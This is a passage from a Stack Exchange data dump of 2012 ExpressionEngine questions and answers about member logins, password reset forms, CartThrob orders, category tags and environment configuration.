}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue we (the php guy here...I'm more design/front end) have is getting $item info. We don't see where that is coming from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this is a longshot (did contact CartThrob but they are relaunching their site and been very busy the last few weeks). If it is an easy fix and you can post it here, great. If you want to do this for pay, I'm open to that as well (if that is not allowed here let me know and I'll remove this question).&lt;/p&gt;&#xA;" OwnerUserId="80" LastEditorUserId="80" LastEditDate="2012-12-19T01:15:37.803" LastActivityDate="2012-12-19T01:57:23.140" Title="CartThrob and Sage: Changing Order ID (T_ordernum)" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1876" PostTypeId="2" ParentId="1875" CreationDate="2012-12-19T01:57:23.140" Score="3" Body="&lt;p&gt;You can access the order items as an array in the payment gateway:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$items = $this-&amp;gt;order('items');&#xA;&#xA;foreach ($items as $item) {&#xA;    echo $item['item_options']['foo'];&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="617" LastActivityDate="2012-12-19T01:57:23.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1877" PostTypeId="1" AcceptedAnswerId="1879" CreationDate="2012-12-19T02:44:11.797" Score="1" ViewCount="224" Body="&lt;p&gt;I'm trying to develop a membership website. I'm using SafeCracker Registration so I can leverage Channels for member data. Once members are registered and verified, I want them to be able to do the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Log in from a customized login page&lt;/li&gt;&#xA;&lt;li&gt;Have their own control panel where they can edit their profiles (I'll build the SafeCracker forms); I don't want them seeing the EE CP.&lt;/li&gt;&#xA;&lt;li&gt;Use EE's build in emailing system so members can email each other (I don't want to build this myself)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What is the proper way to customize the login page? The changes I want to implement include mark up changes, content changes, and other design changes.&lt;/li&gt;&#xA;&lt;li&gt;How do I tell EE that when a member of a particular member group logs in that they should be redirected to the customize CP that I plan to build?&lt;/li&gt;&#xA;&lt;li&gt;How do I let my member use EE's email system so that members can email each other? Ideally, I'd like to redo the markup for this (to make it responsive using Twitter Bootstrap), but I'm happy to just use whatever EE has initially as I am concerned it may be too much effort trying to make changes to it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="324" LastActivityDate="2012-12-19T03:15:25.960" Title="Custom CP for Members" Tags="|control-panel|members|member-details|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1878" PostTypeId="2" ParentId="1877" CreationDate="2012-12-19T03:04:05.147" Score="2" Body="&lt;p&gt;3) Solspace Friends Module offers access to the messaging system in templates &lt;a href=&quot;http://www.solspace.com/docs/friends&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/friends&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2012-12-19T03:04:05.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1879" PostTypeId="2" ParentId="1877" CreationDate="2012-12-19T03:07:18.217" Score="5" Body="&lt;p&gt;&lt;strong&gt;What is the proper way to customize the login page?.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just pop the native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#login-form-tag&quot;&gt;&lt;strong&gt;Login Form Tag&lt;/strong&gt;&lt;/a&gt; into your template. You'll want to use the &lt;a href=&quot;http://devot-ee.com/add-ons/login-redirect&quot;&gt;&lt;strong&gt;Login Redirect extension&lt;/strong&gt;&lt;/a&gt; to get around the annoying  default &quot;you are logged in&quot; message.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I tell EE that when a member of a particular member group logs in that they should be redirected to the customize CP that I plan to build?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the Login Form Tag set the &lt;code&gt;return=&quot;&quot;&lt;/code&gt; parameter to a template which will handle the redirecting... ex: &lt;code&gt;return=&quot;members/redirect&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside that template, setup conditionals to handle the redirects to the unique templates. These conditionals will match the member group of the logged in user.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;logged_in_group_id&quot; == &quot;1&quot;}{redirect =&quot;members/group1&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How do I let my member use EE's email system so that members can email each other? Ideally, I'd like to redo the markup for this (to make it responsive using Twitter Bootstrap), but I'm happy to just use whatever EE has initially as I am concerned it may be too much effort trying to make changes to it.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are two are worth evaluating for private messaging. I haven't used either of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/messaging&quot;&gt;&lt;strong&gt;Messaging&lt;/strong&gt;&lt;/a&gt;&lt;br&gt;&#xA;&quot;Messaging is the module for ExpressionEngine 2 that brings all power of Private Messages, Bulletins (public messages) and Buddies/Blocked lists to frontent templates - even with AJAX support!&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/friends&quot;&gt;Friends&lt;/a&gt;&lt;/strong&gt;&lt;br&gt;&#xA;&quot;Allows your users to create and manage lists of friends, along with complete private messaging, status updates, comment walls, referral tracking, and virtual groups.&quot;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T03:15:25.960" LastActivityDate="2012-12-19T03:15:25.960" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1880" PostTypeId="2" ParentId="1867" CreationDate="2012-12-19T04:03:12.887" Score="3" Body="&lt;p&gt;In addition to what Justin recommends, open up &lt;code&gt;system/expressionengine/core/EE_Input.php&lt;/code&gt;, and find the &lt;code&gt;preg_match()&lt;/code&gt; call at the end of the &lt;code&gt;filter_get_data()&lt;/code&gt; function. Any semi-colons or question marks (encoded) in your GET variables will cause you to be filtered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think about security before you edit this function, but I have found it to be necessary at times also.&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-12-19T04:33:50.627" LastActivityDate="2012-12-19T04:33:50.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1881" PostTypeId="1" AcceptedAnswerId="1882" CreationDate="2012-12-19T04:16:27.990" Score="5" ViewCount="2379" Body="&lt;p&gt;I see that in Member Management Module, there is a Login Form Tag that allows you to place a login form in any template you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar tag for the password reset form?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2014-01-28T23:38:03.980" Title="Is there a tag that generates the password reset form?" Tags="|members|forgot-password|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1882" PostTypeId="2" ParentId="1881" CreationDate="2012-12-19T04:29:32.103" Score="2" Body="&lt;p&gt;Take a look at Authenticate, it's my add-on that makes forgot password forms and login forms much better. &lt;a href=&quot;https://objectivehtml.com/authenticate/examples#forgot&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/authenticate/examples#forgot&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are other add-ons too like FreeMember, but have never personally used it. &lt;a href=&quot;http://devot-ee.com/add-ons/freemember&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/freemember&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-19T04:29:32.103" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1883" PostTypeId="1" AcceptedAnswerId="1884" CreationDate="2012-12-19T05:09:18.897" Score="4" ViewCount="1066" Body="&lt;p&gt;When registering a new member in EE (either in the CP or via the front-end using an add-on such as Profile:Edit), the password fields are required. So how do I go about emailing the login details to a new member if I can't (and shouldn't) include the password itself in the new member registration email?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel like there should be a way (unless there's something I'm missing) to include an activation link in the email that would allow the user to activate their account and immediately set their password on the first login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible, or has anyone got any tips on the best way of emailing new users with their login details?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2012-12-20T17:49:46.193" Title="How to notify new members of their login details via email" Tags="|members|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1884" PostTypeId="2" ParentId="1883" CreationDate="2012-12-19T05:15:33.343" Score="10" Body="&lt;p&gt;Take a look at Postmaster v1.2, which brings Profile:edit compatibility into the mix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/postmaster/hooks/profile-register-end&quot;&gt;https://objectivehtml.com/postmaster/hooks/profile-register-end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can send an email with the register and edit tags along with the user's password. Not sure if there is a way to do this natively with Profile:edit, but I know Postmaster works.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2012-12-19T05:15:33.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1885" PostTypeId="2" ParentId="1881" CreationDate="2012-12-19T05:24:05.883" Score="2" Body="&lt;p&gt;There is not a native tag for outputting the &quot;forgot password&quot; form into an EE template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A &quot;creative&quot; option would be to strip down the native member template to bare minimum HTML and load the form into your template using jQuery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JS would look like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;     $('#result').load('/member/forgot_password');&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML would look like this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The tag to access the native EE forgot password template is {path='member/forgot_password'} OR replace &quot;member&quot; with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/membership_preferences.html#profile-triggering-word&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;member profile trigger word&lt;/strong&gt;&lt;/a&gt; you have set in your CP. Or just use &quot;/member/forgot_password&quot;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-19T05:57:38.610" LastActivityDate="2012-12-19T05:57:38.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1886" PostTypeId="2" ParentId="1881" CreationDate="2012-12-19T05:47:03.400" Score="4" Body="&lt;p&gt;You can actually copy the rendered code from the password reset form to recreate it in any template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;forgot_password_form&quot; method=&quot;post&quot; action=&quot;http://www.mydomain.org/&quot;  &amp;gt;&#xA;&amp;lt;div class='hiddenFields'&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;3a451c89545c8d3044192ebd6aeb00c5114d2e04&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;ACT&quot; value=&quot;11&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;RET&quot; value=&quot;-3&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;FROM&quot; value=&quot;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;site_id&quot; value=&quot;1&quot; /&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;table class=&quot;tableborder&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; border=&quot;0&quot; style=&quot;width:560px;&quot; align=&quot;center&quot;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td class=&quot;profileHeadingBG&quot; colspan=&quot;2&quot;&amp;gt;&amp;lt;div class=&quot;tableHeading&quot;&amp;gt;Forgotten Password&amp;lt;/div&amp;gt;&#xA;&amp;lt;/td&amp;gt;&#xA;&#xA;&amp;lt;/tr&amp;gt;&amp;lt;tr&amp;gt;&#xA;&#xA;&amp;lt;td class=&quot;tableCellOne&quot; colspan=&quot;2&quot;&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;Your Email Address&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; class=&quot;input&quot; maxlength=&quot;120&quot; size=&quot;40&quot; style=&quot;width:100%&quot; autocomplete='off' /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; class=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;a href=&quot;http://www.mydomain.org/subscriber/login&quot;&amp;gt;Back to Login&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is the relevant portion of the code, though you probably want to at least explore the styles in the original, as well. I believe this is one of the forms, where though an XID is generated, but the security risk isn't that high if it stays they same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're very security minded, then you can use a number of add-ons to get more control, and they'll make sure a new XID is generated every time the form is called. You could also create a php script that generates an XID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've used Solspace's User, Authenticate, and Zoo Visitors to handle the creation of registration, login and password forms before. But I recall that in the first project that I had that actually required a custom members area (most of the sites we develop don't), we tested the password rest form and decided the code grab-able.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been awhile, but I think we looked to see if the XID was being used to identify the user, but for the site, the front end only used cookies and since the user hadn't logged no session was in play and the other security risks were minimal. Granted, I don't recall, what the other security risk were now. That was +5 years ago, I believe. Right before add-ons customizing the member templates started to show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update.&lt;/strong&gt; Remember to copy the code from your solution. I do believe whatever you use for the XID needs to match your system, but I could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT By Anna Brown&lt;/strong&gt;&lt;br&gt;&#xA;You can use &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#xid-hash&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;{xid_hash}&lt;/strong&gt;&lt;/a&gt; to generate a unique hash per page load.&lt;/p&gt;&#xA;" OwnerUserId="252" LastEditorUserId="28" LastEditDate="2012-12-19T05:56:02.717" LastActivityDate="2012-12-19T05:56:02.717" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1887" PostTypeId="2" ParentId="1883" CreationDate="2012-12-19T05:47:30.463" Score="4" Body="&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/mx-notify-control&quot; rel=&quot;nofollow&quot;&gt;MX Notify Control&lt;/a&gt;&lt;/strong&gt; may do what you need. I haven't used it myself but it seems to allow for emailing usernames/passwords.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The MX Notify Control extension allows you to send customized notifications by emails/PMs based on different triggers - new entry creating/updating, member registration, member validation etc..&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It has a sister addon called &lt;a href=&quot;http://devot-ee.com/add-ons/mx-auto-password&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;MX Auto Password&lt;/strong&gt;&lt;/a&gt; for generating secure member passwords.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;MX Auto Password helps you generate secure password for members during member registration and CP member registration.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastEditorUserId="155" LastEditDate="2012-12-19T14:48:18.537" LastActivityDate="2012-12-19T14:48:18.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1888" PostTypeId="2" ParentId="1883" CreationDate="2012-12-19T06:09:21.563" Score="5" Body="&lt;p&gt;If we create an account for a user, generally staff member for the client, we've create just a basic email auto response, that we send them that includes the link to the password reset page. So the email typically looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dear {screen_name}-&#xA;&#xA;You've been recommended for access to edit, modify, and or create content for the '{client}' website. We've created an account for you, but you'll need to reset your password to login.&#xA;&#xA;To reset your password please visit:&#xA;&#xA;      • http://clientdomain.org/staff/reset (appropriate link to password reset)&#xA;&#xA;The email address used is listed below, as well as other necessary account details.&#xA;&#xA;Your account information follows:&#xA;&#xA;     Username: {username}&#xA;     Email:  {email}&#xA;     Screen Name: {screen_name}&#xA;&#xA;Once your password has been reset, you can login from this link.&#xA;&#xA;      • http://clientdomain.org/admin.php (link to control panel)&#xA;&#xA;Please bookmark it for quick access or save this email for a record of the details.&#xA;&#xA;Blah, blah, blah…&#xA;&#xA;{Web Development}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue we had was that any password we provided to them was never reset, so it was easier to force the reset as requirements for logging in. So far it works and it means we can generate the same password for all the accounts we create because we know it will be reset.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-19T06:09:21.563" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1889" PostTypeId="1" AcceptedAnswerId="1925" CreationDate="2012-12-19T11:21:55.403" Score="10" ViewCount="652" Body="&lt;p&gt;I have a Matrix that contains a P&amp;amp;T Dropdown field. I'm trying to control the markup generated by the Matrix, so I am trying to follow &lt;a href=&quot;http://marcusneto.com/blog/article/breaking_up_a_matrix_field_for_use_in_a_safecracker_form&quot; rel=&quot;noreferrer&quot;&gt;breaking up a matrix field for use in safe cracker form&lt;/a&gt;.&lt;br /&gt;&#xA;Though the example has a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; (I'm assuming it represents a P&amp;amp;T Dropdown), it doesn't show how to loop through its list of options. Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-01-03T04:55:29.857" Title="P&amp;T Dropdown - how to display in Safecracker?" Tags="|safecracker|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1890" PostTypeId="1" CreationDate="2012-12-19T12:43:33.403" Score="2" ViewCount="358" Body="&lt;p&gt;I was wondering if anyone could point me in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've got a custom plugin that we use with ExpressionEngine that connections to a 3rd party CMS system and grabs all relevant content from it and then inserts it into ExpressionEngine. I have need to expand the plugin to identify relating content and set the relationships inside ExpressionEngine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can gather, I would simply get the field_id from the exp_channel_fields for the relevant relationship channel field that has been created inside EE CP. I would then insert both the pieces of content (the main piece of content and the relating content) into exp_channel_data as usual, then get the entry_id's for both pieces of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have the entry_id's, I can create a entry in exp_relationships, get the ID for the entry and then update exp_channel_data using the main piece of contents entry_id and setting the field_id_X, where X is the field ID I got at the beginning and the value being the relationship ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming I have this all correct, the only thing I need to figure out is what rel_data in the exp_relationships table needs to be set to. It seems like some serialized object. I was wondering if there are classes that I could use to handle this for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or pointers to the correct documentation would greatly be appreciated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; Did some digging, I think the function I am looking for is 'compile_relationship' inside the Functions class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT 2&lt;/strong&gt; It seems this function is being called when the following code is being run:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($channel_id, $insert_data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm guessing I need to format $insert_data with the correct fields in order to trigger the relationship insert. Will do some more digging.&lt;/p&gt;&#xA;" OwnerUserId="641" LastEditorUserId="28" LastEditDate="2012-12-20T17:05:45.893" LastActivityDate="2012-12-20T17:05:45.893" Title="Defining relationships in a plugin" Tags="|add-on-development|plugin|relationships|development|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1891" PostTypeId="2" ParentId="1740" CreationDate="2012-12-19T13:42:05.513" Score="2" Body="&lt;p&gt;A more programatic approach to this could involve creating an ACTion URL. There is not much documentation about them except to read through the EE codebase, but these URLs could remove the need to deal with XIDs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/module_tutorial.html&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;    'class'     =&amp;gt; 'Download' ,&#xA;    'method'    =&amp;gt; 'force_download'&#xA;);&#xA;$this-&amp;gt;EE-&amp;gt;db-&amp;gt;insert('actions', $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the method has to be inside of a class in either your mod.extension.php or mcp.extension.php files. You access them like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/?ACT=21&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/?ACT=21&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the number after ACT is the row ID from the &quot;exp_actions&quot; table that references your class and function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this you will have a partially-loaded EE environment so that you can register users (or check login credentials) through the appropriate methods. &lt;strong&gt;I do recommend using SSL and also rate-limiting requests through this interface.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="460" LastActivityDate="2012-12-19T13:42:05.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1892" PostTypeId="1" AcceptedAnswerId="1893" CreationDate="2012-12-19T14:42:48.590" Score="4" ViewCount="782" Body="&lt;p&gt;In my code below I'm trying to list the category_url_titles within data-type. This is returning all the categories for that channel, but I only want to show the categories assigned to that entry. I thought maybe there would be an entry_id=&quot;{entry_id}&quot; thing for the channel categories tag, but there isn't. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;locations&quot; dynamic=&quot;no&quot;}&#xA;    &amp;lt;a href=&quot;{title_permalink=locations/details/}&quot; data-type=&quot;{exp:channel:categories style=&quot;linear&quot; }{category_url_title} {/exp:channel:categories}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    {/exp:channel:entries}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="603" LastActivityDate="2012-12-19T14:53:15.573" Title="How do I display categories assigned to entry within Channel entries tag" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1893" PostTypeId="2" ParentId="1892" CreationDate="2012-12-19T14:53:15.573" Score="6" Body="&lt;p&gt;Within your &lt;code&gt;channel:entries&lt;/code&gt; loop, use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot;&gt;categories loop&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data-type=&quot;{categories backspace=&quot;1&quot;}{category_url_title} {/categories}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-12-19T14:53:15.573" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1894" PostTypeId="1" AcceptedAnswerId="1898" CreationDate="2012-12-19T15:49:13.573" Score="2" ViewCount="157" Body="&lt;p&gt;I'm trying to update a new site I'm developing from 2.5.3 to 2.5.4 and I'm getting a &quot;waiting for server&quot; message and the retry count keeps going up. I've left it to do its thing for a while now and nothing happens. Anyone else seeing this and do you know why it's happening or have a solution to fix it?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-20T18:20:49.917" Title="Can't update from 2.5.3 to 2.5.4 using DevDemon Updater" Tags="|devdemon-updater|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1895" PostTypeId="1" AcceptedAnswerId="1897" CreationDate="2012-12-19T15:55:55.127" Score="0" ViewCount="47" Body="&lt;p&gt;I'm using GWCode Categories add-on (&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;http://gwcode.com/add-ons/gwcode-categories&lt;/a&gt;) to output a custom field from a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, i cannot see anyway to get it not to output the list html i.e &lt;ul&gt;&lt;li&gt;custom field content&lt;/li&gt;&lt;/ul&gt; - i just want it to output the custom field content and nothing else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="42" LastActivityDate="2012-12-19T16:01:07.583" Title="How can you remove the list html from GWcode categories add-on?" Tags="|categories|gwcode-categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1896" PostTypeId="2" ParentId="260" CreationDate="2012-12-19T15:58:14.263" Score="1" Body="&lt;p&gt;I know this has already been answered by Tom. But if you are using the Focus Lab Master Config, you could modify the /config/config.env.php similar to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( ! defined('ENV'))&#xA;{&#xA;    switch (str_replace('www.', '', $_SERVER['HTTP_HOST']))&#xA;    {&#xA;        case 'mydomain1.local' :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;            define('ENV_BASE_PATH', '/Users/yourname/Sites/mydomain1.local');&#xA;            define('ENV_BASE_URL', 'mydomain1.local');&#xA;        break;&#xA;&#xA;        case 'mydomain1.tld' :&#xA;            define('ENV', 'prod');&#xA;            define('ENV_FULL', 'Production');&#xA;            define('ENV_DEBUG', FALSE);&#xA;            define('ENV_BASE_PATH', '/var/www/vhosts/mydomain1.tld');&#xA;            define('ENV_BASE_URL', 'mydomain1.tld');&#xA;        break;&#xA;&#xA;        case 'staging.mydomain1.tld' :&#xA;            define('ENV', 'staging');&#xA;            define('ENV_FULL', 'Staging');&#xA;            define('ENV_DEBUG', FALSE);&#xA;            define('ENV_BASE_PATH', '/var/www/vhosts/staging.mydomain1.tld');&#xA;            define('ENV_BASE_URL', 'staging.mydomain1.tld');&#xA;        break;&#xA;&#xA;        case 'mydomain2.local' :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;            define('ENV_BASE_PATH', '/Users/yourname/Sites/mydomain2.local');&#xA;            define('ENV_BASE_URL', 'mydomain2.local');&#xA;        break;&#xA;&#xA;        case 'mydomain2.tld' :&#xA;            define('ENV', 'prod');&#xA;            define('ENV_FULL', 'Production');&#xA;            define('ENV_DEBUG', FALSE);&#xA;            define('ENV_BASE_PATH', '/var/www/vhosts/mydomain2.tld');&#xA;            define('ENV_BASE_URL', 'mydomain2.tld');&#xA;        break;&#xA;&#xA;        case 'staging.mydomain2.tld' :&#xA;            define('ENV', 'staging');&#xA;            define('ENV_FULL', 'Staging');&#xA;            define('ENV_DEBUG', FALSE);&#xA;            define('ENV_BASE_PATH', '/var/www/vhosts/staging.mydomain2.tld');&#xA;            define('ENV_BASE_URL', 'staging.mydomain2.tld');&#xA;        break;&#xA;&#xA;        default :&#xA;            define('ENV', 'local');&#xA;            define('ENV_FULL', 'Local');&#xA;            define('ENV_DEBUG', TRUE);&#xA;        break;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In config.master.php you could change this;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$images_path = $base_path . '/' . 